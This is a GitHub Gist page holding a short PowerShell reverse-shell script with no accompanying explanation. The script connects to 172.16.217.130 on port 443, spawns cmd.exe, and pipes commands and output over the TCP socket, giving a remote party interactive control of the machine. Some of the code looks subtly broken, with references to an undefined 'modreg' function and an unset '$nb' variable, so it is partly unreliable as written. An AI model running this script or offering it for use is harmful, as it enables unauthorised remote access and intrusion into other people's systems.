Skip to content

Instantly share code, notes, and snippets.

@BankSecurity
Created September 11, 2019 18:42
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save BankSecurity/23446a6f1f16768d35a4c6f11a160986 to your computer and use it in GitHub Desktop.
Save BankSecurity/23446a6f1f16768d35a4c6f11a160986 to your computer and use it in GitHub Desktop.
function cln{if($c.Connected -eq $true){$c.Close()};
if($p.ExitCode -ne $null){$p.Close()};
exit
};
$c=New-Object System.Net.Sockets.TcpClient;
$c.Connect('172.16.217.130',443);
if($c.Connected -ne $true){cln};
$s=$c.GetStream();
$b=New-Object System.Byte[] $c.ReceiveBufferSize;
$p=New-Object System.Diagnostics.Process;
$p.StartInfo.FileName='cmd.exe';
$p.StartInfo.RedirectStandardInput=1;
$p.StartInfo.RedirectStandardOutput=1;
$p.StartInfo.UseShellExecute=0;
$p.Start();
$is=$p.StandardInput;
$os=$p.StandardOutput;Start-Sleep 1;
$e=New-Object System.Text.AsciiEncoding;
while($os.Peek()-ne -1){$o+=$e.GetString($os.Read())};
$s.Write($e.GetBytes($o),0,$o.Length);
$o=$null;
while($true){if($c.Connected -ne $true)
{modreg};
$pos=0;$i=1;
while(($i -gt 0)-and($pos -lt $b.Length)){$read=$s.Read($b,$pos,$b.Length -$pos);
$pos+=$read;
if($pos -and($nb[0..$($pos-1)]-contains 10)){break};
if($pos -gt 0){$str=$e.GetString($b,0,$pos);
$is.Write($str);
Start-Sleep 1;
if($p.ExitCode -ne $null){cln}else{$o=$e.GetString($os.Read());
while($os.Peek()-ne -1){$o+=$e.GetString($os.Read());
if($o -eq $str){$o=''}};
$s.Write($e.GetBytes($o),0,$o.Length);
$o=$null;$str=$null}}else{cln}}};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment